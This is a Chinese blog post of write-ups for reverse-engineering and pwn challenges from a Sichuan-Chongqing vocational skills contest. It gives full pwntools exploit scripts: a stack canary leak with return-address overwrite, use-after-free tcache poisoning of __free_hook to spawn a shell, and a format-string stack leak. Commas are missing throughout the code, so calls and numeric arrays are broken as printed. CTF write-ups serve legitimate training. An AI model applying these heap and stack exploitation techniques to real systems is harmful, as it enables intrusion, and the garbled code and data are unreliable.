川渝职业技能竞赛个人赛和团队赛的部分逆向和pwn题解
2022-9-16 21:48:7 Author: BeFun安全实验室(查看原文) 阅读量:13 收藏

题目

所有题目可以在https://github.com/Inv0k3r/pwnable_files下载

个人赛

REVERSE

stripgo

交叉引用找到函数主要逻辑:


可以看到输入长度为32,使用base64编码,然后跟目标字符串比对,尝试直接解密错误,用gdb调试跟着得到base64的编码表:


然后直接丢进cyberchef:


simpleDispy

给了一个python字节码文件,手工还原得到源码:

print 'Input flag:'
flag = input()
arr = [47378, 29475, 46200, 39869, 67243, 68695, 73129, 27171, 53832, 30653, 60541, 67276, 58816, 63571, 50131, 34471, 67922, 82293, 33259, 67538, 57810, 50339, 34632, 68754, 83192, 36077, 60424, 54547, 56308, 33565, 69425, 84024]
k = 22643
for i in range(32):
    num = ord(flag[i]) * 255 + k
    if num != arr[i]:
        print "Error"
        exit(0)
    k = k + num & 65535
print 'Right,the flag is DASCTF{Input}'

写出解密算法:

arr = [4737829475462003986967243686957312927171538323065360541672765881663571501313447167922822933325967538578105033934632687548319236077604245454756308335656942584024]
k = 22643
flag = ''
for i in arr:
    flag += chr(int((i - k) / 255))
    k = k + i & 65535
print(flag)
# ab0c216ec63a9f984cbf8975ad63e09c

PWN

ez_canary


password和username都存在栈溢出,先溢出填满username到canary后面,打印username的时候会把canary带出来,然后溢出password覆盖canary和返回地址为后门函数即可:

from pwn import *
p = remote("43.143.139.234"50505)
p.sendlineafter("Username:"'f' * 10)
p.recvuntil('f' * 10)
canary = u64(p.recv(8)) & 0xffffffffffffff00
print(hex(canary))
payload = b'b' * (0x1c - 8)
payload += p64(canary) 
payload += p64(0x12345678)
payload += p64(0x40138f)
p.sendlineafter("Password:", payload)
p.interactive()


easy_login

2.31的经典菜单题,删除结构体后没有置空存储结构体的数组,导致了UAF,可以利用UAF进行读取info字段和修改password字段,需要注意的就是要利用unsorted bin的合并和切割机制来推一下需要泄露的信息,然后要注意一下序号的分配是按顺序分配的,所以要提前申请堆块去占住序号,防止我们拿来做uaf的堆块的地址被覆盖掉。

那么思路就是:

  1. 1. 释放两个堆块到unsorted bin,先释放后面的,再释放前面的,然后让他们合并

  2. 2. 申请一个比第一个略大的堆块,此时会将libc地址推到之前第二个堆块的info字段

  3. 3. 利用Login功能来读取到libc

  4. 4. 申请两个tcache大小的堆块,让之前存储libc的地方存储堆地址

  5. 5. 再次利用之前的堆块合并的思路,把tcache结构体的next字段填上__free_hook,由于修改密码的功能需要用到code字段,所以之前leak了堆地址作为此时的code

  6. 6. 然后接下来就很简单了,申请下来链入tcache的__free_hook,name填上one_gadget即可

exp:

from pwn import *

p = process("./easy_login")
context.log_level='debug'
# size > 0x7f, < 0x500
# 0xb0, 0x530
def add(size, name, password, code, info):
    p.sendlineafter("choice:""1")
    p.sendlineafter("size:"str(size))
    p.sendlineafter("name:", name)
    p.sendlineafter("password:", password)
    p.sendlineafter("code:"str(code))
    p.sendlineafter("info:", info)

def show(idx, password):
    p.sendlineafter("choice:""2")
    p.sendlineafter("ID:"str(idx))
    p.sendlineafter("password:", password)

def edit(idx, code, new_password):
    p.sendlineafter("choice:""3")
    p.sendlineafter("ID:"str(idx))
    p.sendlineafter("code:"str(code))
    p.sendlineafter("(Y/N)""Y")
    p.sendlineafter("password:", new_password)

def free(idx, password):
    p.sendlineafter("choice:""4")
    p.sendlineafter("ID:"str(idx))
    p.sendlineafter("password:", password)
pause()

for i in range(7):
    add(0x88'0''a'0'0')

add(0x3f8'0''a'0'0')
add(0x3f8'0''a'0'0')
add(0x3f8'0''a'0'0')

for i in range(7):
    free(i, 'a')

free(8'a')
free(7'a')
add(0x418'0''a'0'0')    # 0

edit(80x401'a')
show(8'a')
p.recvuntil("info:")
libc_base = u64(p.recvuntil('\n')[:-1].ljust(8b'\x00')) - 0x1ecbe0
log.success("libc: " + hex(libc_base))

# pause()
add(0x98'0''a'0'0')     # 1
add(0x98'0''a'0'a')     # 2
# pause()
free(2'a')
free(1'a')

show(8'a')
p.recvuntil("info:")
heap_base = u64(p.recvuntil('\n')[:-1].ljust(8b'\x00')) - 0xc70
log.success("heap: " + hex(heap_base))

add(0x88'0''a'0'0')     # 1
add(0x88'0''a'0'0')     # 2
add(0x88'0''a'0'0')     # 3

add(0x418'0''a'0'0')    # 4
add(0x418'0''a'0'0')    # 5
add(0x418'0''a'0'0')    # 6

free(5'a')
free(4'a')
free(3'a')
free(2'a')
free(1'a')

add(0x428'0''a'0'0')    # 1

add(0x288'0''a'0'0')    # 2
add(0x288'0''a'0'0')    # 3

free_hook = libc_base + 0x1eee48
free(3'a')
free(2'a')
pause()
edit(5, heap_base + 0x10, p64(free_hook)[:-1])

[email protected]:~$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.31.so
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL

add(0x288'0''a'0'0')
add(0x288, p64(libc_base + 0xe3b01), 'a'0'0')

# pause()
free(0'a')
sleep(0.1)
p.sendline("id")

p.interactive()

团队赛

REVERSE

TestCPP

查看主函数:


可以看出是把输入处理后与一个固定数组比较:


处理逻辑:


动态调试跟踪到两个处理函数:



经过调试发现下面的异或的左边参数是输入的数字,右边是一个固定数组:


异或结果是最终比对的数字:


所以导出最终异或的数据,写脚本反向解密即可:

a = [60x7D0xD10x1E0x970x240xFE0x7850x780x810x170x900x710xA80x2F0x570x7A0x800x1E0xC10x250xA20x2F60x7B0xD10x440xC30x270xAE]
b = [0x310x1E0xE20x270xF60x410x9A0x1B]
flag = ''
for i in range(len(a)):
    flag += chr(a[i] ^ b[i % 8])

print(flag)
# 7c39aedc4fc0f024fdb97d847e3c5f4

LongTime

提示是运行足够久就会输出flag,实际测试输出到10位之后就会非常慢,所以还是需要逆向。

查看主要逻辑:

手动抄下来上面的框里的循环发现是斐波那契数列计算,计算结果和16异或然后去0123456789abcdef里拿出对应字符即为flag,计算流程大致如下:

n_list = [1]
a = 1
for i in range(32):
    f = i + 4 * a + 1
    n_list.append(f)
    a = f

print(n_list)
# 得到:[1, 5, 22, 91, 368, 1477, 5914, 23663, 94660, 378649, 1514606, 6058435, 24233752, 96935021, 387740098, 1550960407, 6203841644, 24815366593, 99261466390, 397045865579, 1588183462336, 6352733849365, 25410935397482, 101643741589951, 406574966359828, 1626299865439337, 6505199461757374, 26020797847029523, 104083191388118120, 416332765552472509, 1665331062209890066, 6661324248839560295, 26645296995358241212]

然后找了一个快速计算斐波那契取余结果的(https://blog.csdn.net/qq_43126361/article/details/83652047):

#include <iostream>
#include <cstddef>
#include <cstring>
#include <vector>
using namespace std;
typedef long long ll;
const int mod=16;
typedef vector<ll> vec;
typedef vector<vec> mat;
mat mul(mat &a,mat &b)
{
    mat c(a.size(),vec(b[0].size()));
    for(int i=0; i<2; i++)
    {
        for(int j=0; j<2; j++)
        {
            for(int k=0; k<2; k++)
            {
                c[i][j]+=a[i][k]*b[k][j];
                c[i][j]%=mod;
            }
        }
    }
    return c;
}
mat pow(mat a,ll n)
{
    mat res(a.size(),vec(a.size()));
    for(int i=0; i<a.size(); i++)
        res[i][i]=1;
    while(n)
    {
        if(n&1) res=mul(res,a);
        a=mul(a,a);
        n/=2;
    }
    return res;
}
ll solve(ll n)
{
    mat a(2,vec(2));
    a[0][0]=1;
    a[0][1]=1;
    a[1][0]=1;
    a[1][1]=0;
    a=pow(a,n);
    return a[0][1];
}
int main()
{
    ll a[] = {152291368147759142366394660378649151460660584352423375296935021387740098155096040762038416442481536659399261466390397045865579158818346233663527338493652541093539748210164374158995140657496635982816262998654393376505199461757374260207978470295231040831913881181204163327655524725091665331062209890066666132424883956029526645296995358241212};
    char charset[] = "0123456789abcdef";
    ll n,x;
    for (int i = 0; i < 32; i ++)
        cout << charset[solve(a[i])];
    cout<<endl;
    return 0;
}

得到flag:


PWN

Meticulous


读取flag进来后,如果开头六个字符是dasctf,则提供一个格式化字符串漏洞,所以可以直接用%p来读取栈里面的flag,在本地调试好偏移后多次利用即可:


exp:

from pwn import *
import binascii
flag = b''
ip = 'tcp.dasc.buuoj.cn'
port = 23032

for i in range(5):
    p = remote(ip, port)
    p.sendlineafter("something:""dasctf%1" + str(i) + "$p")
    p.recvuntil("dasctf0x")
    flag = p.recvuntil("\n")[:-1] + flag
    print(flag)
    p.close()

flag = binascii.a2b_hex(flag)
# print(flag)
print(flag[::-1])


hard_login

跟easy_login差不多,就是改了下code和password在结构体内的位置,导致没法直接通过修改密码来改tcache的fd。

漏洞点同样在删除后没有置空数组导致的UAF。

利用流程就是:

  1. 1. 首先填满tcache,然后释放堆块到unsorted bin触发合并

  2. 2. 切割堆块把libc的地址推到info位,改密码登录泄露拿到libc

  3. 3. 通过修改密码来修改堆块的size位,构造overlap chunk

  4. 4. 把被覆盖的堆块释放到tcache

  5. 5. 申请到这个overlap的unsorted bin

  6. 6. 通过info来修改位于tcache的堆块的fd位为free_hook

  7. 7. 申请回来往name里写one_gadget就能拿到shell了

exp:

from pwn import *
# context.log_level='debug'
# p = process("./hard_login")
# p = remote("tcp.dasc.buuoj.cn", 28417)
p = remote("tcp.dasc.buuoj.cn"21370)
# size > 0x7f, < 0x500
# 0xb0, 0x530
def add(size, name, password, code, info):
    p.sendlineafter("choice:""1")
    p.sendlineafter("size:"str(size))
    p.sendlineafter("name:", name)
    p.sendlineafter("code:"str(code))
    p.sendlineafter("password:", password)
    p.sendlineafter("info:", info)

def show(idx, password):
    p.sendlineafter("choice:""2")
    p.sendlineafter("ID:"str(idx))
    p.sendlineafter("password:", password)

def edit(idx, code, new_password):
    p.sendlineafter("choice:""3")
    p.sendlineafter("ID:"str(idx))
    p.sendlineafter("code:"str(code))
    p.sendlineafter("(Y/N)""Y")
    p.sendlineafter("password:", new_password)

def free(idx, password):
    p.sendlineafter("choice:""4")
    p.sendlineafter("ID:"str(idx))
    p.sendlineafter("password:", password)

pause()
for i in range(7):
    add(0x10f'0''a'0'0'# 0 - 6

add(0x10f'0''a'0'0')    # 7
add(0x10f'0''a'0'0')    # 8
add(0x10f'0''a'0, p64(0x150) + p64(0x140))    # 9

for i in range(7):
    free(i, 'a')

free(8'a')
free(7'a')
# pause()
add(0x138'0''a'0'0')    # 0
pause()
edit(80'a')
show(8'a')

p.recvuntil("info:")
libc_base = u64(p.recvuntil("\n")[:-1].ljust(8b'\x00')) - 0x1ecbe0
log.success("libc: " + hex(libc_base))

edit(80'\x51\x01\x00\x00\x00\x00\x00')

add(0x118'0''a'0'0')
free(9'a')
free_hook = libc_base + 0x1eee48
add(0x128'0''a'0b'0' * 0xf0 + p64(0x120) + p64(0x140) + p64(free_hook))

add(0x118'0''a'0'0')
one_gadget = libc_base + 0xe3b01
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL

add(0x118, p64(one_gadget), 'a'0'0')
free(0'a')

p.interactive()

# nc/9999->tcp.dasc.buuoj.cn:28417




文章来源: http://mp.weixin.qq.com/s?__biz=MzI3NDEzMDgzNw==&mid=2247484530&idx=1&sn=422722276bad6acdbc3f0b9b28e76f80&chksm=eb19f688dc6e7f9e92b7681e32712d13fc631f486f3792319a42a58ec037f1f6dd0420e82794#rd
如有侵权请联系:admin#unsafe.sh